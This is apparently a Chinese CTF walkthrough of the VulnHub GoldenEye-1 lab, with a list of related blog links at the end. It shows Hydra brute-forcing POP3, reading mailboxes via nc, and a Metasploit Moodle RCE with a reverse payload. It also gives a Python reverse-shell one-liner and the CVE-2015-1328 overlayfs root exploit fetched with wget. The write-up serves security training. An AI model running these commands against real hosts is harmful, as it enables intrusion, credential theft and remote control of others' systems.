靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/

靶机难度:中等(CTF)

目标:得到root权限&找到flag.txt

信息收集

  1. 收集目标ip

  2. nmap扫描到两个端口

  3. 尝试访问80端口

    • 显示的文本提示了一条线索,它说进入到/sev-home/目录中。

    • User: UNKNOWN

      Naviagate to /sev-home/ to login

      需要登录,开始枚举查找用户名密码信息!

    • 查看其页面源代码发现一个terminal.js文件

      • 发现提示
    • 密码信息

      //I encoded you p@ssword below...
      //
      //InvincibleHack3r
  • 用户名信息

    阅读提示可以猜测用户名和密码可能为:Boris或Natalya

渗透过程

获得用户名和密码:

  1. 通过密码信息的收集发现这种编码是unicode的一种编码

  2. 猜测用户名为boris成功

step2

  1. 登录成功后获取到又一重要信息

  2. POP3是一种发邮件的服务帮助中心_常见问题 (163.com)

  3. 继续对ip地址进行端口扫描查看pop3服务

    nmap -p- 192.168.177.129//全端口扫描

  4. nmap详细扫描上述55006,55007端口

    nmap -p-55006,55007 192.168.177.129 -sS -sV -T5 -A
  5. 验证了收集到的信息

6.通过Hydra暴力破解pop3服务

  • Hydra密码爆破工具使用教程图文教程(超详细)_hydra使用教程-CSDN博客

  • echo -e 'natalya\nboris' > dayu.txt   ---将两个用户名写入txt文本中
  • hydra -L dayu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.177.129 -s 55007 pop3
    #/usr/share/wordlists/fasttrack.txt 是一个常见的字典文件,通常被用于密码破解、渗透测试和安全审计。这个文件包含了许多常见的用户名、密码、常用短语和其他可能用于攻击的字符串列表。这些列表可以被安全专业人员用于测试系统的安全性,确认系统是否容易受到常见的口令攻击。
  • 经过2~5分钟等待,获得两组账号密码

    用户:boris 密码:secret1!

    用户:natalya 密码:bird

  1. 通过NC登录pop3查看邮件信封内容枚举
  2. 查看boris的
    • nc 192.168.177.129 55007 ---登录邮箱

      user boris ---登录用户

      pass secret1! ---登录密码

      list ---查看邮件数量

      retr 1~3 ---查看邮件内容

读到的信息

  1. 查看natalya的

    • nc 192.168.177.129 55007 ---登录邮箱

      user natalya ---登录用户

      pass bird ---登录密码

      list ---查看邮件数量

      retr 1~3 ---查看邮件内容

    • 读到的信息

      在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地服务hosts中添加域名信息:

      用户名:xenia

      密码:RCP90rulez!

      域:severnaya-station.com

      网址:severnaya-station.com/gnocertdir

      我们现根据邮件提示添加本地域名:severnaya-station.com

  2. 设置本地HOSTS文件

    gedit /etc/hosts

    192.168.177.129 severnaya-station.com

step3

  1. 访问severnaya-station.com/gnocertdir

  2. 刚登陆界面我就看到了moodle,这是一个开源的CMS系统,继续点一点,发现要登陆,使用邮件获得的用户密码进行登陆。

    是的,Moodle 是一种开源的学习管理系统(LMS),而不是一种内容管理系统(CMS)。Moodle 主要用于创建在线学习平台,提供了丰富的教学和学习工具,包括课程管理、在线测验、资源分享、讨论论坛等功能。Moodle 的开源性质意味着用户可以免费获取、使用和定制它,同时还可以根据自己的需求扩展功能。

    内容管理系统(CMS)通常用于创建和管理网站内容,例如WordPress、Joomla 和Drupal,而学习管理系统(LMS)则专注于教育和培训范畴。Moodle 在教育领域非常受欢迎,许多学校、大学和培训机构都使用它来提供在线学习服务。

    whatweb severnaya-station.com/gnocertdir ---指纹搜索也行

  3. 登录后,Home / My profile / Messages --->发现有一封邮件,内容发现用户名doak收集到又一有用的信息

  4. 又尝试用九头蛇爆破email username = doak的密码

  5. echo doak > dayu.txt   ---将用户名写入txt文本中
    hydra -L dayu.txt -P /usr/share/wordlists/fasttrack.txt 192.168.177.129 -s 55007 pop3
    #或者直接爆破doak这一个
    hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.177.129 -s 55007 pop3
  6. 成功获得密码[pop3] host: 192.168.177.129 login: doak password: goat

  7. 登录doak用户枚举邮件信息

    nc 192.168.177.129 55007 ---登录邮箱

    user doak ---登录用户

    pass goat ---登录密码

    list ---查看邮件数量

    retr 1 ---查看邮件内容

step4

  1. 据上诉邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。

    用户名:dr_doak

    密码:4England!

  2. 登录后发现

  3. Something juicy is located here: /dir007key/for-007.jpg

    现在我们查看文件的内容,指出管理员凭据已隐藏在映像文件中,让我们在浏览器中打开图像以查看其内容。

    访问页面:severnaya-station.com/dir007key/for-007.jpg

    下载到本地:

    wget http://severnaya-station.com/dir007key/for-007.jpg

    根据邮件提示让我们检查图片内容,下载图片后,我们可以使用:

    binwalk(路由逆向分析工具)

    exiftool(图虫)

    strings(识别动态库版本指令)

    等查看jpg文件底层内容!

    exiftool for-007.jpg

    strings for-007.jpg

    用以上命令都可以查看到base64编码隐藏信息:eFdpbnRlcjE5OTV4IQ==

  1. 对上述base64编码隐藏信息解码得到:xWinter1995x!
  2. 又由2知道用户为admin,由此可以登录
  3. 成功用admin用户登录站点

step5

  1. 进去内容太多了,花了很多时间查看,图片红框显示和我前面使用dr_doak用户登陆邮箱发现的结果一致。

    这是Moodle使用的2.2.3版本,搜索了网上的可用漏洞。

  2. google搜索:Moodle 2.2.3 exp poc

  3. Moodle 2.2.3 exp cve --> CVE-2013-3630 漏洞可利用! 29324

  4. 此版本有许多漏洞利用,由于我们需要在目标计算机上进行外壳访问,因此我选择使用远程代码执行(RCE)漏洞利用。

    使用我们的神器:MSF

    msfconsole                        ---进入MSF框架攻击界面
    search moodle ---查找 moodle类型 攻击的模块
    use 1 ---调用0 exploit/multi/http/moodle_cmd_exec调用攻击脚本
    set username admin ---设置用户名:admin
    set password xWinter1995x! ---设置密码:xWinter1995x!
    set rhost severnaya-station.com ---设置:rhosts severnaya-station.com
    set targeturi /gnocertdir ---设置目录: /gnocertdir
    set payload cmd/unix/reverse ---设置payload:cmd/unix/reverse
    set lhost 192.168.177.128 ---设置:lhost 192.168.4.231(需要本地IP)
    exploit ----执行命令

  5. 当我们执行后发现无法成功,是因为对方需要修改执行PSpellShell

    https://www.exploit-db.com/exploits/29324

    's_editor_tinymce_spellengine' => 'PSpellShell',

  1. 成功,但交互shell不正常,有装python

  2. 执行tty,因为获得的权限无框架:执行

    python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty

  3. 本地监听,用python反弹shell

    • nc -lvp 6666
    #python反弹shell
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.177.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  4. 成功建立连接,但依然是不正常的shell

  • python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty
  1. 内核提权

    uname -a 查看权限!

step6提权获取flag

  1. 谷歌搜索:Linux ubuntu 3.13.0-32 exploit

获得exp版本:37292

CVE(CAN) ID: CVE-2015-1328

overlayfs文件系统是一种叠合式文件系统,实现了在底层文件系统上叠加另一个文件系统。Linux 内核3.18开始已经加入了对overlayfs的支持。Ubuntu Linux内核在更早的版本就已加入该支持。

Ubuntu Linux内核的overlayfs文件系统实现中存在一个权限检查漏洞,本地普通用户可以获取管理员权限。此漏洞影响所有目前官方支持的Ubuntu Linux版本,目前已经发布攻击代码,建议受影响用户尽快进行升级。

此漏洞源于overlayfs文件系统在上层文件系统目录中创建新文件时没有正确检查文件权限。它只检查了被修改文件的属主是否有权限在上层文件系统目录写入,导致当从底层文件系统目录中拷贝一个文件到上层文件系统目录时,文件属性也随同拷贝过去。如果Linux内核设置了CONFIG_USER_NS=y和FS_USERNS_MOUNT标志,将允许一个普通用户在低权限用户命名空间中mout一个overlayfs文件系统。本地普通用户可以利用该漏洞在敏感系统目录中创建新文件或读取敏感文件内容,从而提升到管理员权限。

  1. 当前靶机下没有gcc,只有cc

  2. kali搜索下:

    searchsploit 37292 ---搜索kali本地的exp库中37292攻击脚本信息

    cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/Desktop ---目录自行修改

  3. 这个靶场在枚举信息知道:

    无法进行GCC编译,需要改下脚本为cc

    gedit 37292.c ---文本打开

    第143行将gcc改为cc ---编写下

  4. 然后在本机本目录下开启http服务:python -m http.server 8081

  5. 靶机上执行

    cd /tmp

    wget http://192.168.177.128:8081/37292.c ---wget下载http服务下的文件

  6. 成功下载后执行cc编译:

    cc -o exp 37292.c ---C语言的CC代码编译点c文件

    chmod +x exp ---编译成可执行文件,并赋权

    ./exp ---点杠执行

    id ---查看目前权限

    cat /root/.flag.txt ---读取root下的flag信息

    568628e0d993b1973adc718237da6e93

渗透项目1-GoldenEye的更多相关文章

  1. 【原创】项目一GoldenEye

    实战流程 1,通过nmap查找本段IP中存活的机器 ┌──(root㉿whoami)-[/home/whoami/Desktop] └─# nmap -sP 192.168.186.0/24 排查网关 ...

  2. Python:渗透测试开源项目

    Python:渗透测试开源项目[源码值得精读] sql注入工具:sqlmap DNS安全监测:DNSRecon 暴力破解测试工具:patator XSS漏洞利用工具:XSSer Web服务器压力测试工 ...

  3. 渗透测试的理论部分4——开放式Web应用程序安全项目

    开放式Web应用程序安全项目(Open Web Application Security Project OWASP) 定期退出Top 10 project(排名前十的安全隐患防守规则) 公开了编写安 ...

  4. Python:渗透测试开源项目【源码值得精读】

    sql注入工具:sqlmap DNS安全监测:DNSRecon 暴力破解测试工具:patator XSS漏洞利用工具:XSSer Web服务器压力测试工具:HULK SSL安全扫描器:SSLyze 网 ...

  5. xss之渗透测试

    跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...

  6. fir.im Weekly - 从零开始创建 Android 新项目

    今年的 Google I/O 大会上,人工智能和虚拟现实的产品发布让我们对未来多了几分惊喜.对于开发者部分,Google 发布了 Android N 系统,感受最深的是全新的 Android Stud ...

  7. Kali Linux渗透基础知识整理(三):漏洞利用

    漏洞利用阶段利用已获得的信息和各种攻击手段实施渗透.网络应用程序漏洞诊断项目的加密通信漏洞诊断是必须执行的.顾名思义,利用漏洞,达到攻击的目的. Metasploit Framework rdeskt ...

  8. JAVA上百实例源码以及开源项目

    简介 笔者当初为了学习JAVA,收集了很多经典源码,源码难易程度分为初级.中级.高级等,详情看源码列表,需要的可以直接下载! 这些源码反映了那时那景笔者对未来的盲目,对代码的热情.执着,对IT的憧憬. ...

  9. GitHub上史上最全的Android开源项目分类汇总 (转)

    GitHub上史上最全的Android开源项目分类汇总 标签: github android 开源 | 发表时间:2014-11-23 23:00 | 作者:u013149325 分享到: 出处:ht ...

  10. KALI LINUX WEB 渗透测试视频教程—第十九课-METASPLOIT基础

    原文链接:Kali Linux Web渗透测试视频教程—第十九课-metasploit基础 文/玄魂 目录 Kali Linux Web 渗透测试视频教程—第十九课-metasploit基础..... ...

随机推荐

  1. 利用javax.validation实现对bean属性校验

    1.使用场景介绍 controller层对传入的bean的属性进行非空.属性长度等合法性的校验. 传统的方式是我们要自己写if-else-去判断,比较麻烦. 2.实现效果 3.代码介绍 代码结构: p ...

  2. ORA-16019 和 ORA-16018 错误的处理方法

    一. ORA-16019 和 ORA-16018 错误产生描述 同事在修改归档目录,一不小心把参数设置错误了, 他设置的是log_archive_dest参数. 这个参数和默认log_archive_ ...

  3. win32 - wsprintf和wvsprintf

    前者很常用, 经常被用来转换为字符串或者拼接字符串. 例子: #include <Windows.h> #include <stdio.h> int main() { int ...

  4. 【八股cover#1】MySQL Q&A与知识点

    MySQL Q&A与知识点 1.基础知识 什么是主键? 它用来唯一标识一条记录(一个字段).每个表都必须有且只能有一个主键,主键的取值不允许为空,而且在表中必须是唯一的(当然还可以有复合主键) ...

  5. 【LeetCode链表#8】翻转链表(双指针+递归)/K个一组翻转

    翻转链表 力扣题目链接(opens new window) 题意:反转一个单链表. 示例: 输入: 1->2->3->4->5->NULL 输出: 5->4-> ...

  6. 【Azure Function】在Function执行中遇见Timeout错误

    问题描述 在Function执行中遇见Timeout错误: Microsoft.Azure.WebJobs.Host.FunctionTimeoutException /Timeout value o ...

  7. 【Azure 环境】微软云上主机,服务的安全更新疑问

    [问题一]微软云上的虚拟机,不论是Windows系统or Linux 系统,系统的安全补丁是由微软云平台   打上补丁进行修复,还是使用虚拟机的用户手动更新修复呢? [答]这些补丁不会由平台来直接操作 ...

  8. 【教程】navicat配合HTTP通道远程连接SQLite数据库

    前言 缘由 好奇的我想查看服务器上宝塔面板的SQLite数据库 久别一月,特来水文.起因是我看到服务器上搭建的宝塔面板,好奇其中使用的SQLite数据库,想用navicat远程连接看一下,奈何不会玩, ...

  9. hadoop 3.3.5伪分布式集群部署以及遇到的问题解决

    hadoop包下载 https://archive.apache.org/dist/hadoop/common/ 安装好jdk并配置环境变量 下载hadoop压缩包并放至 /data/hadoop目录 ...

  10. 本地部署FastGPT使用在线大语言模型

    FastGPT 是一个基于 LLM 大语言模型的知识库问答系统,提供开箱即用的数据处理.模型调用等能力,它背后依赖OneApi开源项目来访问各种大语言模型提供的能力.各大语言模型提供的访问接口规范不尽 ...